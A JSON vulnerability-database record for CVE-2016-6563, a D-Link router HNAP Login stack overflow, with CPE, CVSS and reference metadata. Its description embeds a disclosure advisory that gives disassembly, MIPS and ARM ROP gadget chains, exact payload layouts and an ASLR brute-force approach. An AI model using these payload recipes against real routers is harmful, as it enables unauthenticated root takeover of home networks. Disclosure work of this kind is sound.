        "id": "CVE-2016-6563"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-823_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-823:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-822_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-822:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-818l\\(w\\)_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-818l\\(w\\):-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-895l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-895l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-890l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-890l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-885l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-885l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-880l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-880l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-868l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-868l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:dlink:dir-850l_firmware:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:dlink:dir-850l:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2016-6563"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Pedro Ribeiro",
    "sources": [
      {
        "db": "BID",
        "id": "94130"
      },
      {
        "db": "PACKETSTORM",
        "id": "139611"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      }
    ],
    "trust": 1.0
  },
  "cve": "CVE-2016-6563",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "acInsufInfo": false,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "NVD",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "HIGH",
            "trust": 1.0,
            "userInteractionRequired": false,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "Medium",
            "accessVector": "Network",
            "authentication": "None",
            "author": "IPA",
            "availabilityImpact": "Complete",
            "baseScore": 9.3,
            "confidentialityImpact": "Complete",
            "exploitabilityScore": null,
            "id": "JVNDB-2016-005757",
            "impactScore": null,
            "integrityImpact": "Complete",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "High",
            "trust": 0.8,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "VHN-95383",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.1,
            "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULMON",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CVE-2016-6563",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "HIGH",
            "trust": 0.1,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "NVD",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 3.9,
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          },
          {
            "attackComplexity": "High",
            "attackVector": "Network",
            "author": "IPA",
            "availabilityImpact": "High",
            "baseScore": 8.1,
            "baseSeverity": "High",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "JVNDB-2016-005757",
            "impactScore": null,
            "integrityImpact": "High",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "NVD",
            "id": "CVE-2016-6563",
            "trust": 1.0,
            "value": "CRITICAL"
          },
          {
            "author": "IPA",
            "id": "JVNDB-2016-005757",
            "trust": 0.8,
            "value": "High"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201611-125",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "VULHUB",
            "id": "VHN-95383",
            "trust": 0.1,
            "value": "HIGH"
          },
          {
            "author": "VULMON",
            "id": "CVE-2016-6563",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-95383"
      },
      {
        "db": "VULMON",
        "id": "CVE-2016-6563"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      },
      {
        "db": "NVD",
        "id": "CVE-2016-6563"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Processing malformed SOAP messages when performing the HNAP Login action causes a buffer overflow in the stack in some D-Link DIR routers. The vulnerable XML fields within the SOAP body are: Action, Username, LoginPassword, and Captcha. The following products are affected: DIR-823, DIR-822, DIR-818L(W), DIR-895L, DIR-890L, DIR-885L, DIR-880L, DIR-868L, and DIR-850L. D-Link Systems, Inc. According to the reporter \u2019s report, HNAP Communication LAN This is done only on the side interface. CWE-121: Stack-based Buffer Overflow https://cwe.mitre.org/data/definitions/121.htmlOf the product LAN A third party who can access the side interface may execute arbitrary code with administrator privileges. \nAn attacker can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely result in denial-of-service conditions. D-Link DIR-823, etc. are all wireless router products of D-Link. tl;dr\n\nA stack bof in several Dlink routers, which can be exploited by an\nunauthenticated attacker in the LAN. There is no patch as Dlink did not\nrespond to CERT\u0027s requests. As usual, a Metasploit module is in the\nqueue (see [9] below) and should hopefully be integrated soon. \n\nThe interesting thing about this vulnerability is that it affects both\nARM and MIPS devices, so exploitation is slightly different for each type. \n\nLink to CERT\u0027s advisory:\nhttps://www.kb.cert.org/vuls/id/677427\n\nLink to a copy of the advisory pasted below:\nhttps://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt\n\nHave fun. \n\nRegards,\nPedro\n\n\u003e\u003e Multiple vulnerabilities in Dlink DIR routers HNAP Login function\n(multiple routers affected)\n\u003e\u003e Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information\nSecurity\n==========================================================================\nDisclosure: 07/11/2016 / Last updated: 07/11/2016\n\n\u003e\u003e Background on the affected products:\n\"Smartphones, laptops, tablets, phones, Smart TVs, game consoles and\nmore a all being connected at the same time. Thatas why we created the\nnew AC3200 Ultra Wi-Fi Router. With Tri-Band Technology and speeds up to\n3.2Gbps, it delivers the necessary ultra-performance to power even the\nmost demanding connected homes, making it the best wireless home router\nfor gaming.\"\n\n\n\u003e\u003e Summary:\nDlink routers expose a protocol called HNAP (Home Network Administration\nProtocol) on the LAN interface. This is a SOAP protocol that allows\nidentification, configuration, and management of network devices. For more information regarding\nHNAP, see [1] and [2]. \n\nDlink has a long history of vulnerabilities in HNAP. Craig Heffner in\nparticular seems to have found a lot of them (see [3], [4], [5], [6],\n[7], [8]). The affected function\ncontains two subsequent stack overflows, which can be exploited by an\nunauthenticated attacker on the LAN. It affects a number of Dlink\nrouters which span the ARM and MIPS architectures. A Metasploit module\nthat exploits this vulnerability for both architectures has been\nreleased [9]. \n\nA special thanks to CERT/CC and Trent Novelly for help with disclosing\nthis vulnerability to the vendor. Please refer to CERT\u0027s advisory for\nmore details [10]. See below\nfor other constraints. \nAffected versions:\n  The following MIPS devices have been confirmed to be vulnerable:\n    DIR-823\n    DIR-822\n    DIR-818L(W)\n\n  The following ARM devices have been confirmed to be vulnerable:\n    DIR-895L\n    DIR-890L\n    DIR-885L\n    DIR-880L\n    DIR-868L -\u003e Rev. B and C only\n\n  There might be other affected devices which are not listed above. \n\n-----------------------\nVulnerability details and MIPS exploitation\n-----------------------\n\nThe vulnerable function, parse_xml_value (my name, not a symbol), is\ncalled from hnap_main (a symbol in the binary) in /htdocs/cgibin. \nThis function takes 3 arguments: the first is the request object /\nstring, the second is the XML tag name to be parsed inside the request,\nand the third is a pointer to where the value of that tag should be\nreturned. \n\nThe function tries to find the tag name inside the request object and\nthen extracts the tag value, copying it first to a local variable and\nthen to the third argument. This function is called from hnap_main when\nperforming the HNAP Login action to obtain the values of Action,\nUsername, LoginPassword and Catpcha from the SOAP request shown above. \n\nparse_xml_value(char* request, char* XMLtag, char* tag_value)\n(...)\n.text:00412264     xml_tag_value_start = $s2\n.text:00412264     xml_tag_value_end = $s1\n.text:00412264 C30                 addu    xml_tag_value_start, $v0, $s0\n # s2 now points to \u003cAction\u003e$value\u003c/Action\u003e\n.text:00412268 C30                 la      $t9, strstr\n.text:0041226C C30                 move    $a1, xml_tag_value_end  # needle\n.text:00412270 C30                 jalr    $t9 ; strstr\n.text:00412274 C30                 move    $a0, xml_tag_value_start  #\nhaystack\n.text:00412278 C30                 lw      $gp, 0xC30+var_C20($sp)\n.text:0041227C C30                 beqz    $v0, loc_4122BC\n.text:00412280 C30                 subu    xml_tag_value_end, $v0,\nxml_tag_value_start  # s1 now holds the ptr to \u003cAction\u003evalue$\u003c/Action\u003e\n.text:00412284 C30                 bltz    xml_tag_value_end, loc_4122BC\n.text:00412288 C30                 addiu   $s0, $sp, 0xC30+xml_tag_var\n.text:0041228C C30                 la      $t9, strncpy\n.text:00412290 C30                 move    $a2, xml_tag_value_end  # n\n.text:00412294 C30                 move    $a1, xml_tag_value_start  # src\n.text:00412298 C30                 addu    xml_tag_value_end, $s0,\nxml_tag_value_end\n.text:0041229C C30                 jalr    $t9 ; strncpy    # copies all\nchars in \u003cAction\u003e$value$\u003c/Action\u003e to xml_tag_var using strncpy\n.text:004122A0 C30                 move    $a0, $s0         # dest\n.text:004122A4 C30                 move    $a0, a2_ptr      # a2_ptr is\na stack variable from hnap_main (passed as third argument to\nparse_xml_value)\n.text:004122A8 C30                 lw      $gp, 0xC30+var_C20($sp)\n.text:004122AC C30                 move    $a1, $s0         # src\n.text:004122B0 C30                 la      $t9, strcpy\t# copies\nxml_tag_var into a2_ptr using strcpy\n.text:004122B4 C30                 jalr    $t9 ; strcpy     # the stack\nof the calling function (hnap_main) is thrashed if 2408+ bytes are sent\n.text:004122B8 C30                 sb      $zero, 0(xml_tag_value_end)\n(...)\n\nThere are two overflows, therefore two choices for exploitation:\n1) The local stack (on parse_xml_value) can be overrun with 3096+ bytes. \nThis overflow occurs even though strncpy is used, because the argument\nto strncpy is simply the strlen of the value inside the XML tag. \n2) Alternatively, it\u0027s possible to overrun the stack of the calling\nfunction (hnap_main), using only 2408+ bytes - this is because strcpy is\nused to copy the xml_tag_var onto the third argument received by\nparse_xml_value, which is a pointer to a stack variable in hnap_main. \n\nExploiting 1) is easier, and the following example will explain how. \n\nAll the affected MIPS devices use the same version of uClibc\n(libuClibc-0.9.30.3.so) and seem to load it at 0x2aabe000, which makes\nexploitation trivial for all firmware versions. It should be noted that\nthe MIPS devices use the RTL8881a CPU, which is based on a Lextra\nRLX5281 core. The Lextra RLX cores are MIPS clones, but they\u0027re bit\ncrippled as they are lacking a few load and store instructions. For this\nreason, some generic shellcodes that work on MIPS might not work on\nthese CPUs (especially when obfuscated). \n\nThe devices also do not have NX, ASLR nor any other modern memory\nprotections, so the shellcode is executed directly on the stack. \nHowever, it\u0027s necessary to use ROP to prepare the stack for execution,\nwhich can be executed with gadgets taken from libuClibc-0.9.30.3.so. \nDue to the way MIPS CPUs work, it\u0027s necessary to flush the CPU cache\nbefore executing the exploit. This can be forced by calling sleep() from\nlibc (refer to\nhttp://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html for\nan explanation on the MIPS CPU caches). \n\nSo the ROP chain and shellcode will look like:\n\nfirst_gadget - execute sleep and call second_gadget\n.text:0004EA1C                 move    $t9, $s0 \u003c- sleep()\n.text:0004EA20                 lw      $ra, 0x20+var_4($sp) \u003c- second_gadget\n.text:0004EA24                 li      $a0, 2 \u003c- arg for sleep()\n.text:0004EA28                 lw      $s0, 0x20+var_8($sp)\n.text:0004EA2C                 li      $a1, 1\n.text:0004EA30                 move    $a2, $zero\n.text:0004EA34                 jr      $t9\n.text:0004EA38                 addiu   $sp, 0x20\n\nsecond_gadget - puts stack pointer in a1:\n.text:0002468C                 addiu   $s1, $sp, 0x58\n.text:00024690                 li      $s0, 0x44\n.text:00024694                 move    $a2, $s0\n.text:00024698                 move    $a1, $s1\n.text:0002469C                 move    $t9, $s4\n.text:000246A0                 jalr    $t9\n.text:000246A4                 move    $a0, $s2\n\nthird_gadget - call $a1 (which now has the stack pointer):\n.text:00041F3C                 move    $t9, $a1\n.text:00041F40                 move    $a1, $a2\n.text:00041F44                 addiu   $a0, 8\n.text:00041F48                 jr      $t9\n.text:00041F4C                 nop\n\nWhen the crash occurs, the stack pointer is at xml_tag_value[3128]. In\norder to have a larger space for the shellcode (3000+ bytes), it\u0027s\npossible to jump back to xml_tag_value[0]. \n  prep_shellcode_1 =  23bdf3c8 \t\t# addi\tsp,sp,-3128\n  prep_shellcode_2 =  03a0f809 \t\t# jalr\tsp\n  branch_delay =\t\t  2084f830 \t  # addi\ta0,a0,-2000 (NOP executed as a\nMIPS branch delay slot)\n\nThe final Action / Username / LoginPassword / Catpcha XML parameter\nvalue will be:\nshellcode + \u0027a\u0027 * (3072 - shellcode.size) + sleep() + \u00271\u0027 * 4 + \u00272\u0027 * 4\n+ \u00273\u0027 * 4 + third_gadget + first_gadget + \u0027b\u0027 * 0x1c + second_gadget +\n\u0027c\u0027 * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay\n\n\u0027a\u0027, \u0027b\u0027 and \u0027c\u0027 are just fillers to make up the buffer, while \u00271111\u0027,\n\u00272222\u0027 and \u00273333\u0027 will be the values of s1, s2 and s3 registers (which\nare not interesting for exploitation), and the rest is the ROP chain,\nshellcode and stack preparation routine. The only bad character that\ncannot be sent in the payload is the null byte as this is a str(n)cpy\noverflow. Up to 3350 characters can be sent, as after that it\u0027s hard to\ncontrol the overflow in a reliable way. Note that all of this is to\nexploit the first buffer overflow with strncpy, but the second buffer\noverflow can be exploited in a similar way. \n\nAs explained above, due to the use of a crippled MIPS core, generic\nshellcodes found on the Internet will likely fail. Some very simple ones\nwork, but the best is to craft a reliable one. The simple Metasploit\nbind shell also seems to work pretty reliably if no encoder is used. \n\n-----------------------\nARM exploitation\n-----------------------\n\nThe same two stack overflows affect ARM, but require less bytes to\noverflow the stack. The following snippet is the same part of\nparse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the\nDIR-868 Rev. B):\n.text:00018F34 C30 LDR             R1, [R11,#src] ; src\n.text:00018F38 C30 LDR             R2, [R11,#n] ; n\n.text:00018F3C C30 SUB             R3, R11, #-xml_tag_var\n.text:00018F40 C30 SUB             R3, R3, #4\n.text:00018F44 C30 SUB             R3, R3, #4\n.text:00018F48 C30 MOV             R0, R3  ; dest\n.text:00018F4C C30 BL              strncpy ; first overflow occurs here\n(xml_tag_var in parse_xml_stack) with 1024+ characters\n.text:00018F50 C30 MOV             R3, #0xFFFFFBEC\n.text:00018F58 C30 LDR             R2, [R11,#n]\n.text:00018F5C C30 SUB             R1, R11, #-var_4\n.text:00018F60 C30 ADD             R2, R1, R2\n.text:00018F64 C30 ADD             R3, R2, R3\n.text:00018F68 C30 MOV             R2, #0\n.text:00018F6C C30 STRB            R2, [R3]\n.text:00018F70 C30 SUB             R3, R11, #-xml_tag_var\n.text:00018F74 C30 SUB             R3, R3, #4\n.text:00018F78 C30 SUB             R3, R3, #4\n.text:00018F7C C30 LDR             R0, [R11,#a2_ptr] ; a2_ptr is is a\nstack variable from hnap_main\n.text:00018F80 C30 MOV             R1, R3  ; src\n.text:00018F84 C30 BL              strcpy  ; second overflow occurs here\n\nThe stack size will be smaller for both parse_xml_value and hnap_main\nwhen compared to the MIPS binary. This time again it\u0027s easier to exploit\nthe easier strncpy overflow in parse_xml_value, but only 1024 bytes are\nenough to overflow the stack. As with the MIPS exploit, the only bad\ncharacter is the null byte. \n\nThe affected ARM devices have a non-executable stack (NX) and 32 bit\nASLR. NX can be defeated with ROP, and the 32 bit ASLR is weak - there\nare only 3 bytes that change in the address calculations, which means\nthere are only 4096 possible values. The attack has to be run several\ntimes until the correct base address is hit, but this can usually be\nachieved in less than 1000 attempts. \n\nThe easiest attack to perform is a return-to-libc to execute a command\nwith system(). To do this, R0 must point to the stack location where the\ncommand is before system() is called. All the affected ARM devices seem\nto use the same version of uClibc (libuClibc-0.9.32.1.so) for all\nfirmware versions, which makes gadget hunting much easier and allows\nbuilding an exploit that works on all the devices without any modification. \n\nfirst_gadget (pops system() address into r3, and second_gadget into PC):\n.text:00018298                 LDMFD           SP!, {R3,PC}\n\nsecond_gadget (puts the stack pointer into r0 and calls system() at r3):\n.text:00040CB8                 MOV             R0, SP\n.text:00040CBC                 BLX             R3\n\nsystem() (Executes argument in r0 (our stack pointer)\n.text:0005A270 system\n\nThe final Action / Username / LoginPassword / Catpcha XML parameter\nvalue will be:\n\u0027a\u0027 * 1024 + 0xffffffff + \u0027b\u0027 * 16 + \u0027AAAA\u0027 + first_gadget + system() +\nsecond_gadget + command\n\na / b = filler\n0xffffffff = integer n (see below)\nAAAA = R11\nfirst_gadget = initial PC\npayload = stack points here after execution of our ROP chain; it should\npoint to whatever we want system() to execute\n\nWhen the overflow happens, the stack var \"n\" is overwritten, which is\nused to calculate a memory address (see 0x18F58). In order not to crash\nthe process before the shellcode is executed, the variable needs to be\nset to a numeric value that can be used to calculate a valid memory\naddress. A good value to choose is 0xffffffff, as this will just\nsubtract 1 from the calculated memory address and prevent an invalid\nmemory access. \n\nFrom this point onwards, it\u0027s possible to execute any command in\n\"payload\". For example, wget can be used to download a shell and execute\nit or a telnet server can be started. All commands will be executed as root. \n\n\n\u003e\u003e Fix:\nDlink did not respond to my or CERT\u0027s request for information, so no\nfirmware fix is available at the time of writing. \nGiven that this vulnerability can only be exploited in the LAN, it is\nrecommended to have a strong wireless password to prevent untrusted\nclients from connecting to the router. \n\n\n\u003e\u003e References:\n[1]\nhttps://isc.sans.edu//diary/More+on+HNAP+-+What+is+it,+How+to+Use+it,+How+to+Find+it/17648\n\n[2] https://en.wikipedia.org/wiki/Home_Network_Administration_Protocol\n[3] http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/\n[4] http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/\n[5] http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/\n[6]\nhttps://packetstormsecurity.com/files/134370/D-Link-DIR-818W-Buffer-Overflow-Command-Injection.html\n[7] https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf\n[8]\nhttp://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection\n[9] https://github.com/rapid7/metasploit-framework/pull/7543\n[10] https://www.kb.cert.org/vuls/id/677427\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business \u003e\u003e\n\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2016-6563"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      },
      {
        "db": "BID",
        "id": "94130"
      },
      {
        "db": "VULHUB",
        "id": "VHN-95383"
      },
      {
        "db": "VULMON",
        "id": "CVE-2016-6563"
      },
      {
        "db": "PACKETSTORM",
        "id": "139611"
      }
    ],
    "trust": 2.16
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-95383",
        "trust": 0.1,
        "type": "unknown"
      },
      {
        "reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=40805",
        "trust": 0.1,
        "type": "exploit"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-95383"
      },
      {
        "db": "VULMON",
        "id": "CVE-2016-6563"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "CERT/CC",
        "id": "VU#677427",
        "trust": 3.0
      },
      {
        "db": "NVD",
        "id": "CVE-2016-6563",
        "trust": 3.0
      },
      {
        "db": "BID",
        "id": "94130",
        "trust": 2.1
      },
      {
        "db": "EXPLOIT-DB",
        "id": "40805",
        "trust": 1.8
      },
      {
        "db": "JVN",
        "id": "JVNVU99822187",
        "trust": 0.8
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2016-005757",
        "trust": 0.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201611-125",
        "trust": 0.7
      },
      {
        "db": "PACKETSTORM",
        "id": "139611",
        "trust": 0.2
      },
      {
        "db": "PACKETSTORM",
        "id": "139836",
        "trust": 0.1
      },
      {
        "db": "VULHUB",
        "id": "VHN-95383",
        "trust": 0.1
      },
      {
        "db": "VULMON",
        "id": "CVE-2016-6563",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-95383"
      },
      {
        "db": "VULMON",
        "id": "CVE-2016-6563"
      },
      {
        "db": "BID",
        "id": "94130"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      },
      {
        "db": "PACKETSTORM",
        "id": "139611"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      },
      {
        "db": "NVD",
        "id": "CVE-2016-6563"
      }
    ]
  },
  "id": "VAR-201807-0057",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-95383"
      }
    ],
    "trust": 0.69484702
  },
  "last_update_date": "2024-04-20T23:17:14.127000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Technical Support",
        "trust": 0.8,
        "url": "http://support.dlink.com/"
      },
      {
        "title": "HNAP stack overflow :: DIR-8xx Routers Affected : All Models have Remote Admin Disabled as Default ",
        "trust": 0.8,
        "url": "http://supportannouncement.us.dlink.com/announcement/publication.aspx?name=sap10066"
      },
      {
        "title": "Multiple D-Link Repair measures for router buffer error vulnerability",
        "trust": 0.6,
        "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=99597"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2016-005757"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201611-125"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
